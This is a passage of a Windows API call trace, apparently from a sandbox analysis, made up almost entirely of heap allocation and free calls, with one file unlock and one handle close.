(HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10ea0 [0194.267] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aba8 | out: hHeap=0x3b0000) returned 1 [0194.267] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aba8 [0194.267] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abb8 | out: hHeap=0x3b0000) returned 1 [0194.267] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ee8 | out: hHeap=0x3b0000) returned 1 [0194.267] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e1f8 [0194.268] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e1f8 | out: hHeap=0x3b0000) returned 1 [0194.268] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe4e1f8 [0194.268] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe4e2a8 [0194.268] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e1f8 | out: hHeap=0x3b0000) returned 1 [0194.268] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abb8 [0194.268] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.268] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abc8 [0194.268] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.268] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abb8 | out: hHeap=0x3b0000) returned 1 [0194.268] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4abb8 [0194.268] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b900 [0194.268] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe4e1f8 [0194.268] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abb8 | out: hHeap=0x3b0000) returned 1 [0194.268] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abb8 [0194.268] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0194.269] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e2a8 | out: hHeap=0x3b0000) returned 1 [0194.269] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15de0 [0194.269] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15de0 | out: hHeap=0x3b0000) returned 1 [0194.269] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e2a8 [0194.269] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e300 [0194.269] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e2a8 | out: hHeap=0x3b0000) returned 1 [0194.270] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abc8 [0194.270] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.270] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abd8 [0194.270] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.270] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0194.270] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4abc8 [0194.270] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b920 [0194.270] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e2a8 [0194.270] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe33348 [0194.270] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33738 | out: hHeap=0x3b0000) returned 1 [0194.270] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0194.270] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abc8 [0194.270] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abd8 | out: hHeap=0x3b0000) returned 1 [0194.270] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e300 | out: hHeap=0x3b0000) returned 1 [0194.270] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x76) returned 0xe26998 [0194.271] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26998 | out: hHeap=0x3b0000) returned 1 [0194.271] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe26998 [0194.271] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe26c98 [0194.271] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26998 | out: hHeap=0x3b0000) returned 1 [0194.271] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abd8 [0194.271] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.271] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abe8 [0194.271] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.271] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abd8 | out: hHeap=0x3b0000) returned 1 [0194.272] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4abd8 [0194.272] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33738 [0194.272] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe26998 [0194.272] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abd8 | out: hHeap=0x3b0000) returned 1 [0194.272] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abd8 [0194.272] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abe8 | out: hHeap=0x3b0000) returned 1 [0194.272] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26c98 | out: hHeap=0x3b0000) returned 1 [0194.272] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8a) returned 0xe34a30 [0194.273] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe34a30 | out: hHeap=0x3b0000) returned 1 [0194.273] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe0b2d0 [0194.273] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe054b0 [0194.273] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b2d0 | out: hHeap=0x3b0000) returned 1 [0194.273] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abe8 [0194.273] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.273] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abf8 [0194.273] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.273] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abe8 | out: hHeap=0x3b0000) returned 1 [0194.273] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4abe8 [0194.273] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b940 [0194.273] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe0b2d0 [0194.273] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abe8 | out: hHeap=0x3b0000) returned 1 [0194.273] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abe8 [0194.273] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abf8 | out: hHeap=0x3b0000) returned 1 [0194.274] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe054b0 | out: hHeap=0x3b0000) returned 1 [0194.276] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x54) returned 0xe15de0 [0194.276] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15de0 | out: hHeap=0x3b0000) returned 1 [0194.277] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e300 [0194.277] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e358 [0194.277] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e300 | out: hHeap=0x3b0000) returned 1 [0194.277] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abf8 [0194.277] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.277] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac08 [0194.277] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.277] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abf8 | out: hHeap=0x3b0000) returned 1 [0194.277] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4abf8 [0194.277] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b960 [0194.278] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e300 [0194.278] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abf8 | out: hHeap=0x3b0000) returned 1 [0194.278] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abf8 [0194.278] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac08 | out: hHeap=0x3b0000) returned 1 [0194.278] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e358 | out: hHeap=0x3b0000) returned 1 [0194.278] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fd58 [0194.279] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fd58 | out: hHeap=0x3b0000) returned 1 [0194.279] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32778 [0194.279] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32878 [0194.280] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32778 | out: hHeap=0x3b0000) returned 1 [0194.280] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55180 [0194.280] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55198 [0194.280] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe551b0 [0194.280] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0194.280] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55180 | out: hHeap=0x3b0000) returned 1 [0194.280] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac08 [0194.280] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b980 [0194.280] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32778 [0194.280] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac08 | out: hHeap=0x3b0000) returned 1 [0194.280] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55180 [0194.280] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551b0 | out: hHeap=0x3b0000) returned 1 [0194.281] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32878 | out: hHeap=0x3b0000) returned 1 [0194.281] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32878 [0194.281] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32878 | out: hHeap=0x3b0000) returned 1 [0194.281] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55948 [0194.281] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55980 [0194.282] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55948 | out: hHeap=0x3b0000) returned 1 [0194.282] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac08 [0194.282] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.282] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac18 [0194.282] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.282] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac08 | out: hHeap=0x3b0000) returned 1 [0194.282] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac08 [0194.282] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b9a0 [0194.282] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55948 [0194.282] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e358 [0194.283] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33348 | out: hHeap=0x3b0000) returned 1 [0194.283] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac08 | out: hHeap=0x3b0000) returned 1 [0194.283] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac08 [0194.283] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.283] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55980 | out: hHeap=0x3b0000) returned 1 [0194.284] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1f868 | out: hHeap=0x3b0000) returned 1 [0194.284] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0194.284] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fc18 | out: hHeap=0x3b0000) returned 1 [0194.284] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55090 | out: hHeap=0x3b0000) returned 1 [0194.284] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55788 | out: hHeap=0x3b0000) returned 1 [0194.285] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550a8 | out: hHeap=0x3b0000) returned 1 [0194.285] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fcb8 | out: hHeap=0x3b0000) returned 1 [0194.285] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0194.285] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c00 | out: hHeap=0x3b0000) returned 1 [0194.285] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.286] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15fc0 | out: hHeap=0x3b0000) returned 1 [0194.286] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550f0 | out: hHeap=0x3b0000) returned 1 [0194.286] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe25718 | out: hHeap=0x3b0000) returned 1 [0194.286] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55108 | out: hHeap=0x3b0000) returned 1 [0194.287] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe34ac8 | out: hHeap=0x3b0000) returned 1 [0194.287] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55120 | out: hHeap=0x3b0000) returned 1 [0194.287] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15f60 | out: hHeap=0x3b0000) returned 1 [0194.287] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55138 | out: hHeap=0x3b0000) returned 1 [0194.287] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fd08 | out: hHeap=0x3b0000) returned 1 [0194.287] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55150 | out: hHeap=0x3b0000) returned 1 [0194.288] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32838 | out: hHeap=0x3b0000) returned 1 [0194.288] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0194.288] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4d618 | out: hHeap=0x3b0000) returned 1 [0194.288] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4d448 | out: hHeap=0x3b0000) returned 1 [0194.288] UnlockFileEx (in: hFile=0x244, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2a7b5b8 | out: lpOverlapped=0x2a7b5b8) returned 1 [0194.289] CloseHandle (hObject=0x244) returned 1 [0194.289] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0194.289] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.289] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.289] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac18 [0194.290] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0ede0 | out: hHeap=0x3b0000) returned 1 [0194.290] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26c18 | out: hHeap=0x3b0000) returned 1 [0194.290] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bd88 | out: hHeap=0x3b0000) returned 1 [0194.290] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.290] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.290] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.290] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac18 [0194.290] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02140 | out: hHeap=0x3b0000) returned 1 [0194.290] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f3d8 | out: hHeap=0x3b0000) returned 1 [0194.290] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bde8 | out: hHeap=0x3b0000) returned 1 [0194.290] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.290] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.290] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.290] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac18 [0194.291] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49650 | out: hHeap=0x3b0000) returned 1 [0194.291] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02620 | out: hHeap=0x3b0000) returned 1 [0194.291] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54a48 | out: hHeap=0x3b0000) returned 1 [0194.291] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.291] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.291] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.291] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac18 [0194.291] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0eda0 | out: hHeap=0x3b0000) returned 1 [0194.291] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10870 | out: hHeap=0x3b0000) returned 1 [0194.291] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bba8 | out: hHeap=0x3b0000) returned 1 [0194.291] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.291] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.291] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.291] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15f60 [0194.292] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe160e0 | out: hHeap=0x3b0000) returned 1 [0194.292] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11668 | out: hHeap=0x3b0000) returned 1 [0194.292] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33798 | out: hHeap=0x3b0000) returned 1 [0194.292] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15f60 | out: hHeap=0x3b0000) returned 1 [0194.292] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.292] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.292] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac18 [0194.292] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0edb0 | out: hHeap=0x3b0000) returned 1 [0194.293] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11f48 | out: hHeap=0x3b0000) returned 1 [0194.293] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bd48 | out: hHeap=0x3b0000) returned 1 [0194.293] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.293] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.293] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.293] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac18 [0194.293] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0eee0 | out: hHeap=0x3b0000) returned 1 [0194.293] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe05420 | out: hHeap=0x3b0000) returned 1 [0194.293] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bda8 | out: hHeap=0x3b0000) returned 1 [0194.293] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.293] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.293] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.293] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac18 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0eef0 | out: hHeap=0x3b0000) returned 1 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12158 | out: hHeap=0x3b0000) returned 1 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bdc8 | out: hHeap=0x3b0000) returned 1 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.294] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.294] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55168 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe132f0 | out: hHeap=0x3b0000) returned 1 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe320b8 | out: hHeap=0x3b0000) returned 1 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bc48 | out: hHeap=0x3b0000) returned 1 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0194.294] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.294] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac18 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49660 | out: hHeap=0x3b0000) returned 1 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10b40 | out: hHeap=0x3b0000) returned 1 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54a88 | out: hHeap=0x3b0000) returned 1 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.294] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.294] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac18 [0194.294] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0edd0 | out: hHeap=0x3b0000) returned 1 [0194.295] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12ec0 | out: hHeap=0x3b0000) returned 1 [0194.295] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bd68 | out: hHeap=0x3b0000) returned 1 [0194.295] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.295] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12cb0 | out: hHeap=0x3b0000) returned 1 [0194.295] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33778 | out: hHeap=0x3b0000) returned 1 [0194.295] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe337b8 | out: hHeap=0x3b0000) returned 1 [0194.295] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 